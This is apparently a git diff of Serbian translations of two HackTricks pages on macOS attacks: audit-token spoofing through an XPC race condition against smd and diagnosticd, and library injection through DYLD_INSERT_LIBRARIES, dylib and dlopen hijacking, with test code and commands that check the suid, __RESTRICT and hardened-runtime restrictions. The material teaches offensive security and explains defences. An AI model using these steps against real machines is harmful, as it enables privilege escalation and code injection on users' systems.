* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Napad na xpc\_connection\_get\_audit\_token na macOS-u
|
# macOS xpc\_connection\_get\_audit\_token Attack
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -20,8 +20,8 @@ Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
Ako ne znate šta su Mach poruke, počnite sa proverom ove stranice:
|
Ako ne znate šta su Mach poruke, počnite sa proverom ove stranice:
|
||||||
|
|
||||||
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
{% content-ref url="../../" %}
|
||||||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
[..](../../)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Za sada zapamtite da ([definicija sa ovog linka](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
Za sada zapamtite da ([definicija sa ovog linka](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||||
|
@ -51,6 +51,7 @@ Iako prethodna situacija zvuči obećavajuće, postoje scenariji u kojima to ne
|
||||||
Dva različita načina na koje ovo može biti iskorišćeno:
|
Dva različita načina na koje ovo može biti iskorišćeno:
|
||||||
|
|
||||||
1. Varijanta 1:
|
1. Varijanta 1:
|
||||||
|
|
||||||
* **Eksploit** se **povezuje** sa servisom **A** i servisom **B**
|
* **Eksploit** se **povezuje** sa servisom **A** i servisom **B**
|
||||||
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu **A koju korisnik ne može**
|
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu **A koju korisnik ne može**
|
||||||
* Servis **A** poziva **`xpc_connection_get_audit_token`** dok _**nije**_ unutar **rukovalaca događajima** za vezu u **`dispatch_async`**.
|
* Servis **A** poziva **`xpc_connection_get_audit_token`** dok _**nije**_ unutar **rukovalaca događajima** za vezu u **`dispatch_async`**.
|
||||||
|
@ -58,7 +59,9 @@ Dva različita načina na koje ovo može biti iskorišćeno:
|
||||||
* Eksploit prosleđuje **servisu B SEND pravo ka servisu A**.
|
* Eksploit prosleđuje **servisu B SEND pravo ka servisu A**.
|
||||||
* Dakle, svc **B** će zapravo **slati** **poruke** servisu **A**.
|
* Dakle, svc **B** će zapravo **slati** **poruke** servisu **A**.
|
||||||
* **Eksploit** pokušava da **pozove privilegovanu akciju**. U RC svc **A** **proverava** autorizaciju ove **akcije** dok je **svc B prepisao Audit token** (dajući eksploatatoru pristup pozivanju privilegovane akcije).
|
* **Eksploit** pokušava da **pozove privilegovanu akciju**. U RC svc **A** **proverava** autorizaciju ove **akcije** dok je **svc B prepisao Audit token** (dajući eksploatatoru pristup pozivanju privilegovane akcije).
|
||||||
|
|
||||||
2. Varijanta 2:
|
2. Varijanta 2:
|
||||||
|
|
||||||
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu **A koju korisnik ne može**
|
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu **A koju korisnik ne može**
|
||||||
* Eksploit se povezuje sa **servisom A** koji **šalje** eksploatatoru **poruku očekujući odgovor** na određenom **replay** **portu**.
|
* Eksploit se povezuje sa **servisom A** koji **šalje** eksploatatoru **poruku očekujući odgovor** na određenom **replay** **portu**.
|
||||||
* Eksploit šalje **servisu B poruku prosleđujući** taj replay port.
|
* Eksploit šalje **servisu B poruku prosleđujući** taj replay port.
|
||||||
|
@ -87,9 +90,7 @@ Za izvođenje napada:
|
||||||
2. Formirajte sekundarnu **vezu** sa `diagnosticd`. Suprotno normalnom postupku, umesto stvaranja i slanja dva nova mach porta, pravo slanja klijentskog porta se zamenjuje sa duplikatom **send prava** povezanog sa vezom `smd`.
|
2. Formirajte sekundarnu **vezu** sa `diagnosticd`. Suprotno normalnom postupku, umesto stvaranja i slanja dva nova mach porta, pravo slanja klijentskog porta se zamenjuje sa duplikatom **send prava** povezanog sa vezom `smd`.
|
||||||
3. Kao rezultat, XPC poruke mogu biti prosleđene `diagnosticd`, ali odgovori od `diagnosticd` se preusmeravaju na `smd`. Za `smd`, izgleda kao da poruke od korisnika i `diagnosticd` potiču iz iste veze.
|
3. Kao rezultat, XPC poruke mogu biti prosleđene `diagnosticd`, ali odgovori od `diagnosticd` se preusmeravaju na `smd`. Za `smd`, izgleda kao da poruke od korisnika i `diagnosticd` potiču iz iste veze.
|
||||||
|
|
||||||
![Slika koja prikazuje proces eksploatacije](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
![Slika koja prikazuje proces eksploatacije](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) 4. Sledeći korak uključuje instrukciju `diagnosticd`-u da započne praćenje odabranog procesa (potencijalno korisnikovog). Istovremeno, šalje se poplava rutinskih poruka 1004 ka `smd`. Cilj je instalirati alat sa povišenim privilegijama. 5. Ova akcija pokreće trku stanja unutar funkcije `handle_bless`. Vreme je ključno: poziv funkcije `xpc_connection_get_pid` mora vratiti PID korisnikovog procesa (jer privilegovani alat se nalazi u korisnikovom paketu aplikacije). Međutim, funkcija `xpc_connection_get_audit_token`, posebno unutar podrutine `connection_is_authorized`, mora se odnositi na audit token koji pripada `diagnosticd`-u.
|
||||||
4. Sledeći korak uključuje instrukciju `diagnosticd`-u da započne praćenje odabranog procesa (potencijalno korisnikovog). Istovremeno, šalje se poplava rutinskih poruka 1004 ka `smd`. Cilj je instalirati alat sa povišenim privilegijama.
|
|
||||||
5. Ova akcija pokreće trku stanja unutar funkcije `handle_bless`. Vreme je ključno: poziv funkcije `xpc_connection_get_pid` mora vratiti PID korisnikovog procesa (jer privilegovani alat se nalazi u korisnikovom paketu aplikacije). Međutim, funkcija `xpc_connection_get_audit_token`, posebno unutar podrutine `connection_is_authorized`, mora se odnositi na audit token koji pripada `diagnosticd`-u.
|
|
||||||
|
|
||||||
## Varijanta 2: prosleđivanje odgovora
|
## Varijanta 2: prosleđivanje odgovora
|
||||||
|
|
||||||
|
@ -115,7 +116,7 @@ Proces iskorišćavanja ove ranjivosti uključuje sledeće korake:
|
||||||
|
|
||||||
Ispod je vizuelna reprezentacija opisanog scenarija napada:
|
Ispod je vizuelna reprezentacija opisanog scenarija napada:
|
||||||
|
|
||||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||||
|
|
||||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS Ubacivanje biblioteke
|
# macOS Library Injection
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -20,7 +20,7 @@ Kod **dyld je otvorenog koda** i može se naći na [https://opensource.apple.com
|
||||||
|
|
||||||
## **DYLD\_INSERT\_LIBRARIES**
|
## **DYLD\_INSERT\_LIBRARIES**
|
||||||
|
|
||||||
Ovo je slično kao [**LD\_PRELOAD na Linux-u**](../../../../linux-hardening/privilege-escalation#ld\_preload). Omogućava da se naznači proces koji će se pokrenuti da učita određenu biblioteku sa putanje (ako je omogućena env var)
|
Ovo je slično kao [**LD\_PRELOAD na Linux-u**](../../../../linux-hardening/privilege-escalation/#ld\_preload). Omogućava da se naznači proces koji će se pokrenuti da učita određenu biblioteku sa putanje (ako je omogućena env var)
|
||||||
|
|
||||||
Ova tehnika se takođe može **koristiti kao ASEP tehnika** jer svaka instalirana aplikacija ima plist koji se zove "Info.plist" koji omogućava **dodeljivanje okruženjskih promenljivih** koristeći ključ `LSEnvironmental`.
|
Ova tehnika se takođe može **koristiti kao ASEP tehnika** jer svaka instalirana aplikacija ima plist koji se zove "Info.plist" koji omogućava **dodeljivanje okruženjskih promenljivih** koristeći ključ `LSEnvironmental`.
|
||||||
|
|
||||||
|
@ -45,7 +45,7 @@ U ažuriranim verzijama ovu logiku možete pronaći u drugom delu funkcije **`co
|
||||||
|
|
||||||
Da biste učitali prilagođenu biblioteku, binarni fajl mora imati **jednu od sledećih privilegija**:
|
Da biste učitali prilagođenu biblioteku, binarni fajl mora imati **jednu od sledećih privilegija**:
|
||||||
|
|
||||||
*  [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
* [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
||||||
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
|
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
|
||||||
|
|
||||||
ili binarni fajl **ne sme** imati **privilegiju hardened runtime** ili **privilegiju validacije biblioteke**.
|
ili binarni fajl **ne sme** imati **privilegiju hardened runtime** ili **privilegiju validacije biblioteke**.
|
||||||
|
@ -56,8 +56,8 @@ Takođe možete učitati biblioteku ako je **potpisana istim sertifikatom kao bi
|
||||||
|
|
||||||
Pronađite primer kako (zlo)upotrebiti ovo i proverite ograničenja u:
|
Pronađite primer kako (zlo)upotrebiti ovo i proverite ograničenja u:
|
||||||
|
|
||||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Dylib Hijacking
|
## Dylib Hijacking
|
||||||
|
@ -97,8 +97,8 @@ Dobar **izveštaj sa tehničkim detaljima** o ovoj tehnici može se naći [**ovd
|
||||||
|
|
||||||
**Primer**
|
**Primer**
|
||||||
|
|
||||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Dlopen Hijacking
|
## Dlopen Hijacking
|
||||||
|
@ -110,6 +110,7 @@ Zapamtite da se **prethodna ograničenja provere biblioteka** takođe primenjuju
|
||||||
Iz **`man dlopen`**:
|
Iz **`man dlopen`**:
|
||||||
|
|
||||||
* Kada putanja **ne sadrži znak kosog crte** (tj. samo je ime lista), **dlopen() će vršiti pretragu**. Ako je **`$DYLD_LIBRARY_PATH`** postavljen pri pokretanju, dyld će prvo **tražiti u tom direktorijumu**. Zatim, ako pozivajući mach-o fajl ili glavni izvršni fajl specificira **`LC_RPATH`**, dyld će **tražiti u tim** direktorijumima. Zatim, ako je proces **neograničen**, dyld će tražiti u **trenutnom radnom direktorijumu**. Na kraju, za stare binarne fajlove, dyld će pokušati neke rezervne opcije. Ako je **`$DYLD_FALLBACK_LIBRARY_PATH`** postavljen pri pokretanju, dyld će tražiti u **tim direktorijumima**, inače će dyld tražiti u **`/usr/local/lib/`** (ako je proces neograničen), a zatim u **`/usr/lib/`** (ove informacije su preuzete iz **`man dlopen`**).
|
* Kada putanja **ne sadrži znak kosog crte** (tj. samo je ime lista), **dlopen() će vršiti pretragu**. Ako je **`$DYLD_LIBRARY_PATH`** postavljen pri pokretanju, dyld će prvo **tražiti u tom direktorijumu**. Zatim, ako pozivajući mach-o fajl ili glavni izvršni fajl specificira **`LC_RPATH`**, dyld će **tražiti u tim** direktorijumima. Zatim, ako je proces **neograničen**, dyld će tražiti u **trenutnom radnom direktorijumu**. Na kraju, za stare binarne fajlove, dyld će pokušati neke rezervne opcije. Ako je **`$DYLD_FALLBACK_LIBRARY_PATH`** postavljen pri pokretanju, dyld će tražiti u **tim direktorijumima**, inače će dyld tražiti u **`/usr/local/lib/`** (ako je proces neograničen), a zatim u **`/usr/lib/`** (ove informacije su preuzete iz **`man dlopen`**).
|
||||||
|
|
||||||
1. `$DYLD_LIBRARY_PATH`
|
1. `$DYLD_LIBRARY_PATH`
|
||||||
2. `LC_RPATH`
|
2. `LC_RPATH`
|
||||||
3. `CWD` (ako je neograničen)
|
3. `CWD` (ako je neograničen)
|
||||||
|
@ -125,6 +126,7 @@ Ako nema kosih crta u imenu, postoji 2 načina za izvršenje hijackinga:
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* Kada putanja **izgleda kao putanja do framework-a** (npr. `/stuff/foo.framework/foo`), ako je **`$DYLD_FRAMEWORK_PATH`** postavljen pri pokretanju, dyld će prvo tražiti u tom direktorijumu za **delimičnu putanju framework-a** (npr. `foo.framework/foo`). Zatim, dyld će pokušati **datu putanju onakvu kakva je** (koristeći trenutni radni direktorijum za relativne putanje). Na kraju, za stare binarne fajlove, dyld će pokušati neke rezervne opcije. Ako je **`$DYLD_FALLBACK_FRAMEWORK_PATH`** postavljen pri pokretanju, dyld će tražiti u tim direktorijumima. Inače, tražiće u **`/Library/Frameworks`** (na macOS-u ako je proces neograničen), a zatim u **`/System/Library/Frameworks`**.
|
* Kada putanja **izgleda kao putanja do framework-a** (npr. `/stuff/foo.framework/foo`), ako je **`$DYLD_FRAMEWORK_PATH`** postavljen pri pokretanju, dyld će prvo tražiti u tom direktorijumu za **delimičnu putanju framework-a** (npr. `foo.framework/foo`). Zatim, dyld će pokušati **datu putanju onakvu kakva je** (koristeći trenutni radni direktorijum za relativne putanje). Na kraju, za stare binarne fajlove, dyld će pokušati neke rezervne opcije. Ako je **`$DYLD_FALLBACK_FRAMEWORK_PATH`** postavljen pri pokretanju, dyld će tražiti u tim direktorijumima. Inače, tražiće u **`/Library/Frameworks`** (na macOS-u ako je proces neograničen), a zatim u **`/System/Library/Frameworks`**.
|
||||||
|
|
||||||
1. `$DYLD_FRAMEWORK_PATH`
|
1. `$DYLD_FRAMEWORK_PATH`
|
||||||
2. data putanja (koristeći trenutni radni direktorijum za relativne putanje ako je neograničen)
|
2. data putanja (koristeći trenutni radni direktorijum za relativne putanje ako je neograničen)
|
||||||
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
|
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
|
||||||
|
@ -138,6 +140,7 @@ Ako je putanja framework-a, način za izvršenje hijackinga bi bio:
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* Kada putanja **sadrži kosu crtu ali nije putanja do framework-a** (tj. potpuna putanja ili delimična putanja do dylib-a), dlopen() prvo traži (ako je postavljeno) u **`$DYLD_LIBRARY_PATH`** (sa delom lista iz putanje). Zatim, dyld **pokušava datu putanju** (koristeći trenutni radni direktorijum za relativne putanje (ali samo za neograničene procese)). Na kraju, za stare binarne fajlove, dyld će pokušati neke rezervne opcije. Ako je **`$DYLD_FALLBACK_LIBRARY_PATH`** postavljen pri pokretanju, dyld će tražiti u tim direktorijumima, inače će dyld tražiti u **`/usr/local/lib/`** (ako je proces neograničen), a zatim u **`/usr/lib/`**.
|
* Kada putanja **sadrži kosu crtu ali nije putanja do framework-a** (tj. potpuna putanja ili delimična putanja do dylib-a), dlopen() prvo traži (ako je postavljeno) u **`$DYLD_LIBRARY_PATH`** (sa delom lista iz putanje). Zatim, dyld **pokušava datu putanju** (koristeći trenutni radni direktorijum za relativne putanje (ali samo za neograničene procese)). Na kraju, za stare binarne fajlove, dyld će pokušati neke rezervne opcije. Ako je **`$DYLD_FALLBACK_LIBRARY_PATH`** postavljen pri pokretanju, dyld će tražiti u tim direktorijumima, inače će dyld tražiti u **`/usr/local/lib/`** (ako je proces neograničen), a zatim u **`/usr/lib/`**.
|
||||||
|
|
||||||
1. `$DYLD_LIBRARY_PATH`
|
1. `$DYLD_LIBRARY_PATH`
|
||||||
2. data putanja (koristeći trenutni radni direktorijum za relativne putanje ako je neograničen)
|
2. data putanja (koristeći trenutni radni direktorijum za relativne putanje ako je neograničen)
|
||||||
3. `$DYLD_FALLBACK_LIBRARY_PATH`
|
3. `$DYLD_FALLBACK_LIBRARY_PATH`
|
||||||
|
@ -150,10 +153,10 @@ Ako ima kosih crta u imenu i nije putanja do framework-a, način za izvršenje h
|
||||||
* Ako je binarni fajl **neograničen** i onda je moguće učitati nešto iz CWD ili `/usr/local/lib` (ili zloupotrebiti jednu od pomenutih env promenljivih)
|
* Ako je binarni fajl **neograničen** i onda je moguće učitati nešto iz CWD ili `/usr/local/lib` (ili zloupotrebiti jednu od pomenutih env promenljivih)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="info" %}
|
|
||||||
Napomena: Ne postoje konfiguracioni fajlovi za kontrolu pretrage dlopen.
|
Napomena: Ne postoje konfiguracioni fajlovi za kontrolu pretrage dlopen.
|
||||||
|
|
||||||
Napomena: Ako je glavni izvršni fajl **set\[ug\]id binarni fajl ili potpisan sa privilegijama**, tada se **sve env promenljive ignorišu**, i može se koristiti samo potpuna putanja ([proverite ograničenja DYLD\_INSERT\_
|
Napomena: Ako je glavni izvršni fajl **set\[ug]id binarni fajl ili potpisan sa privilegijama**, tada se **sve env promenljive ignorišu**, i može se koristiti samo potpuna putanja (\[proverite ograničenja DYLD\_INSERT\_
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
|
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
|
||||||
#include <dlfcn.h>
|
#include <dlfcn.h>
|
||||||
|
@ -196,10 +199,13 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Ako ga kompajlirate i izvršite, možete videti **gde je svaka biblioteka neuspešno pretražena**. Takođe, možete **filtrirati FS logove**:
|
Ako ga kompajlirate i izvršite, možete videti **gde je svaka biblioteka neuspešno pretražena**. Takođe, možete **filtrirati FS logove**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo fs_usage | grep "dlopentest"
|
sudo fs_usage | grep "dlopentest"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Zloupotreba relativne putanje
|
## Zloupotreba relativne putanje
|
||||||
|
|
||||||
Ako je **privilegovan binarni fajl/aplikacija** (poput SUID-a ili nekog binarnog fajla sa moćnim ovlašćenjima) koji **učitava relativnu putanju** biblioteke (na primer koristeći `@executable_path` ili `@loader_path`) i ima onemogućenu **proveru biblioteke**, moguće je premestiti binarni fajl na lokaciju gde napadač može **izmeniti relativnu putanju učitane biblioteke** i iskoristiti je za ubacivanje koda u proces.
|
Ako je **privilegovan binarni fajl/aplikacija** (poput SUID-a ili nekog binarnog fajla sa moćnim ovlašćenjima) koji **učitava relativnu putanju** biblioteke (na primer koristeći `@executable_path` ili `@loader_path`) i ima onemogućenu **proveru biblioteke**, moguće je premestiti binarni fajl na lokaciju gde napadač može **izmeniti relativnu putanju učitane biblioteke** i iskoristiti je za ubacivanje koda u proces.
|
||||||
|
@ -211,12 +217,15 @@ U fajlu `dyld-dyld-832.7.1/src/dyld2.cpp` moguće je pronaći funkciju **`pruneE
|
||||||
Takođe će postaviti na **null** specifične env promenljive **`DYLD_FALLBACK_FRAMEWORK_PATH`** i **`DYLD_FALLBACK_LIBRARY_PATH`** za **suid** i **sgid** binarne fajlove.
|
Takođe će postaviti na **null** specifične env promenljive **`DYLD_FALLBACK_FRAMEWORK_PATH`** i **`DYLD_FALLBACK_LIBRARY_PATH`** za **suid** i **sgid** binarne fajlove.
|
||||||
|
|
||||||
Ova funkcija se poziva iz **`_main`** funkcije istog fajla ako je ciljani operativni sistem OSX, na sledeći način:
|
Ova funkcija se poziva iz **`_main`** funkcije istog fajla ako je ciljani operativni sistem OSX, na sledeći način:
|
||||||
|
|
||||||
```cpp
|
```cpp
|
||||||
#if TARGET_OS_OSX
|
#if TARGET_OS_OSX
|
||||||
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
||||||
pruneEnvironmentVariables(envp, &apple);
|
pruneEnvironmentVariables(envp, &apple);
|
||||||
```
|
```
|
||||||
|
|
||||||
i te boolean zastavice se postavljaju u istoj datoteci u kodu:
|
i te boolean zastavice se postavljaju u istoj datoteci u kodu:
|
||||||
|
|
||||||
```cpp
|
```cpp
|
||||||
#if TARGET_OS_OSX
|
#if TARGET_OS_OSX
|
||||||
// support chrooting from old kernel
|
// support chrooting from old kernel
|
||||||
|
@ -247,6 +256,7 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
|
||||||
gLinkContext.allowInsertFailures = false;
|
gLinkContext.allowInsertFailures = false;
|
||||||
gLinkContext.allowInterposing = true;
|
gLinkContext.allowInterposing = true;
|
||||||
```
|
```
|
||||||
|
|
||||||
Što zapravo znači da ako je binarni fajl **suid** ili **sgid**, ili ima **RESTRICT** segment u zaglavljima ili je potpisan sa **CS\_RESTRICT** zastavicom, tada je **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** tačno i okružne promenljive su uklonjene.
|
Što zapravo znači da ako je binarni fajl **suid** ili **sgid**, ili ima **RESTRICT** segment u zaglavljima ili je potpisan sa **CS\_RESTRICT** zastavicom, tada je **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** tačno i okružne promenljive su uklonjene.
|
||||||
|
|
||||||
Imajte na umu da ako je CS\_REQUIRE\_LV tačno, tada promenljive neće biti uklonjene, ali će se proveriti validacija biblioteke da koriste isti sertifikat kao i originalni binarni fajl.
|
Imajte na umu da ako je CS\_REQUIRE\_LV tačno, tada promenljive neće biti uklonjene, ali će se proveriti validacija biblioteke da koriste isti sertifikat kao i originalni binarni fajl.
|
||||||
|
@ -254,6 +264,7 @@ Imajte na umu da ako je CS\_REQUIRE\_LV tačno, tada promenljive neće biti uklo
|
||||||
## Provera ograničenja
|
## Provera ograničenja
|
||||||
|
|
||||||
### SUID & SGID
|
### SUID & SGID
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Make it owned by root and suid
|
# Make it owned by root and suid
|
||||||
sudo chown root hello
|
sudo chown root hello
|
||||||
|
@ -264,23 +275,26 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||||
# Remove suid
|
# Remove suid
|
||||||
sudo chmod -s hello
|
sudo chmod -s hello
|
||||||
```
|
```
|
||||||
|
|
||||||
### Sekcija `__RESTRICT` sa segmentom `__restrict`
|
### Sekcija `__RESTRICT` sa segmentom `__restrict`
|
||||||
|
|
||||||
---
|
***
|
||||||
|
|
||||||
#### Description
|
#### Description
|
||||||
|
|
||||||
The `__RESTRICT` section is a segment in macOS that is used to restrict the loading of dynamic libraries. This section is designed to prevent library injection attacks, where malicious code is injected into a legitimate process by loading a malicious library.
|
The `__RESTRICT` section is a segment in macOS that is used to restrict the loading of dynamic libraries. This section is designed to prevent library injection attacks, where malicious code is injected into a legitimate process by loading a malicious library.
|
||||||
|
|
||||||
---
|
***
|
||||||
|
|
||||||
#### Opis
|
#### Opis
|
||||||
|
|
||||||
Sekcija `__RESTRICT` je segment u macOS-u koji se koristi za ograničavanje učitavanja dinamičkih biblioteka. Ova sekcija je dizajnirana da spreči napade ubacivanja biblioteka, gde se zlonamerni kod ubacuje u legitimni proces učitavanjem zlonamerne biblioteke.
|
Sekcija `__RESTRICT` je segment u macOS-u koji se koristi za ograničavanje učitavanja dinamičkih biblioteka. Ova sekcija je dizajnirana da spreči napade ubacivanja biblioteka, gde se zlonamerni kod ubacuje u legitimni proces učitavanjem zlonamerne biblioteke.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
||||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ojačani runtime
|
### Ojačani runtime
|
||||||
|
|
||||||
Kreirajte novi sertifikat u Keychain-u i koristite ga za potpisivanje binarnog fajla:
|
Kreirajte novi sertifikat u Keychain-u i koristite ga za potpisivanje binarnog fajla:
|
||||||
|
@ -310,15 +324,18 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Imajte na umu da čak i ako postoje binarni fajlovi potpisani sa zastavicama **`0x0(none)`**, mogu dobiti dinamički zastavicu **`CS_RESTRICT`** prilikom izvršavanja i zbog toga ova tehnika neće raditi na njima.
|
Imajte na umu da čak i ako postoje binarni fajlovi potpisani sa zastavicama **`0x0(none)`**, mogu dobiti dinamički zastavicu **`CS_RESTRICT`** prilikom izvršavanja i zbog toga ova tehnika neće raditi na njima.
|
||||||
|
|
||||||
Možete proveriti da li proces ima ovu zastavicu sa (preuzmite [**csops ovde**](https://github.com/axelexic/CSOps)): 
|
